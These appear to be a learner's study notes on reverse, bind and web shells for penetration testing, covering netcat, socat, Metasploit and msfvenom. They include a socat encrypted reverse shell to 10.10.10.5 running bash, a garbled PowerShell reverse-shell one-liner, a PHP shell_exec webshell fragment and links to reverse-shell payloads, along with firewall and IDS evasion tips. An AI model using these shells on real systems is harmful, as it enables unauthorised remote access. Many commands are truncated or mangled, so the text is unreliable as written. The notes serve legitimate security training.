-Shells - used when interfacing with a Command Line Interface environment (CLI). eg. bash or sh - linux, cmd.exe - windows -remote server to gain command line access to server = reverse shell -open up a port on server which is able to connect to in order to execute further commands = bind shell
Tools -Netcat: ‘swiss army knife’ of networking -banner grabbing, receive shells and connect to remote ports to bind shells -unstable, easy to lose
-Socat: netcat on steroids -more stable -syntax is more difficult -rarely installed by default
Metasploit- multi/handler -auxiliary/multi/handler - metasploit framework like socat and netcat, used to receive reverse shells -only way to interact with a meterpreter shell, easiest way to handle staged payloads Msfvenom: gen payloads on the fly
Types of Shell
-
Reverse Shells - the target is forced to execute code from the attacking computer remotely. -set up a listener to receive a connection -good way to bypass firewall rules(prevent from connecting to arbitrary ports on target) -need to configure attacker network to accept the shell
-
Bind Shells - code executed on the target is used to start a listener attached to a shell directly on the target -connect to the port the code has oppened and obtain RCE -may be prevented by firewalls protecting the target -does not require any network configuration
Interactive vs non-Interactive shells -Interactive: Powershell, Bash, Zsh, sh or any other CLI env -Interactive shells allow for interaction with programs after execution
-Non-Interactive: limited to using programs which do not require user interaction in order to run properly -majority of simple reverse and bind shells are non-interactive, tricky exploit.
Netcat -reverse shells
- start a netcat listener using linux
‘nc -lvnp
’ -l: listener -v: verbose output -n: not to resolve host names (use DNS) -p: port specification ( use well-known port number 80, 443, 53 - get past firewall)
-bind shells: there is a listener already to be slected by attacker
‘nc
Netcat Shell Stabilization
-
Python python -c ‘import pty;pty.spawn(“/bin/bash”)’ -spawn a better featured bash shell (specify python with python2 or python3) -autocomplete with tab export TERM=xterm -get term commands such as ‘clear’ -background the shell using Ctrl+Z stty raw -echo; fg -turns off our own terminal echo -foregrounds the shell ‘reset’ - enable terminal echo again
-
rlwrap - program that gives access to history, tab autocompletion and arrow keys immediately -not installed by default on Kali sudo apt install rlwrap -use rlwrap rlwrap nc -lvnp
-useful particularly with windows shells -linux completely stabilize using stty raw -echo; fg -and re-enter the shell -
Socat -limited to linux -transfer a socat static compiled binary up to the target machine using a webserver on the attacking machine sudo python3 -m http.server 80 -netcat shell download the file Linux: wget
/socat -O /tmp/socat Windows: Invoke-WebRequest -uri /socat.exe -outfile c:\Windows\temp\socat.exe
-change the terminal tty size
stty -a
-get output of rows and columns
-in the reverse/bind shell:
stty rows
Socat
-similar to netcat
-connector between two points (listening port and keyboard, listening port and file, two listening ports etc)
-1. Reverse Shells
socat TCP-L:tty
,raw,echo=0
-connect a listening port and a file
-current TTY as a file and setting the echo to zero (equivalent to using ctrl+z, ‘stty raw -echo; fg’ with netcat)
-upload a precompiled socat binary
socat TCP:
Socat Encrypted Shells
-capable of creating encrypted shells - both bind and reverse
-able to bypass an IDS (intrusion detection system)
-replace ‘TCP’ with ‘OPENSSL’
-need to generate a certificate in order to use encrypted shells on attacking machine
openssl req —newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
-command creates a 2048 bit RSA key with matching cert file, self-signed, valid for just under a year
-merge the two created files into a single .pem file
cat shell key shell.crt>shell.pem
-set up reverse shell listener
socat OPENSSL-LISTEN:
socat OPENSSL-LISTEN:53,cert=encrypt.pem,verify=0 FILE:tty
,raw,echo=0
socat OPENSSL:10.10.10.5:53,verify=0 EXEC:“bash -li”,pty,stderr,sigint,setsid,sane
Common Shell Payloads
‘-e’ execute a process on connection
nc -lvnp
Modern windows server, require powershell reverse shell, one-line PSH reverse shell (replace ip and port): powershell -c “stream = bytes = 0..65535|%{0};while((stream.Read(bytes.Length)) -ne 0){;bytes,0, sendback = (iex data 2>&1 | Out-String );sendback2 = sendbyte = ([text.encoding]::ASCII).GetBytes(stream.Write(sendbyte.Length);stream.Flush()};client.Close()”
payloads all the things: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
msfvenom
-metasploit framework used to gen code for primarily reverse and bind shells
-lower-level exploit development to gen hexadecimal shellcode
msfvenom -p
Metasploit multi/handler -useful for catching reverse shells
- msfconsole
- use multi/handler
- options
- set PAYLOAD
set LHOST set LPORT - exploit -j: start listener in the background
-select session: sessions
WebShells -script that runs inside a webserver(PHP or ASP) -PHP is most common server side scripting language
" . shell_exec($_GET["cmd"]) . ""; ?>-GET parameter in the URL and execute it on the system with shell_exec() -any command after ?cmd= will be executed on the system (linux or windows) -PentestMonKey php-reverse-shell: a full reverse shell written in PHP - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
Next Steps after shell
-gain access to user account stored at /home/